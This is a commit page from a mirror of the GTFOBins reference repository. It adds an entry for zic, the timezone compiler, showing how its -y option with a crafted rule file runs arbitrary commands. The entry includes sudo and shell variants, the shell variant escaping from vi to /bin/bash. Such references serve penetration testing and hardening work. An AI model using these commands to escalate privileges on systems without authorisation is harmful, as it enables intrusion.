1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-28 10:06:05 +02:00
This commit is contained in:
Tizian Seehaus 2024-04-24 13:27:17 +08:00 committed by GitHub
commit c70fbaf5bf
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

22
_gtfobins/zic.md Normal file
View File

@ -0,0 +1,22 @@
---
functions:
command:
- description: |
This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2'').
You can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2'').
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "id" ./zicfile
sudo:
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "id" ./zicfile
shell:
- code: |
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
zic -d . -y "vi" ./zicfile
:!/bin/bash
---